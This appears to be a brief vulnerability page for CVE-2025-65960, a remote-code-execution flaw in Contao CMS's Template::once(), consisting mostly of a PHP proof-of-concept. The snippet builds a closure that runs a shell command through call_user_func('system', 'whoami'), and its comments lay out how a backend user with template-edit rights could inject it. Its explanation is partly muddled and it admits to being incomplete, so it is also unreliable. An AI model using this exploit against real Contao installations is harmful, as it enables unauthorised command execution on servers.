CVE-2025-65960 Contao CMS模板闭包远程代码执行漏洞

// CVE-2025-65960 PoC - Contao Template::once() RCE // Requires backend user access with template editing privileges // Example malicious template closure that could trigger RCE $maliciousClosure = function() { // Attempt to call PHP function without required parameters // This exploits the lack of validation in Template::once() call_user_func('system', 'whoami'); }; // In Contao context, the vulnerability allows attackers to: // 1. Inject crafted closures into template files // 2. Trigger execution through Template::once() method // 3. Execute arbitrary PHP functions // Example attack vector: // Backend user with template edit rights creates/modifies template // containing malicious closure that gets processed by vulnerable code path // Note: Actual exploitation requires specific Contao template manipulation // Refer to official patch for complete remediation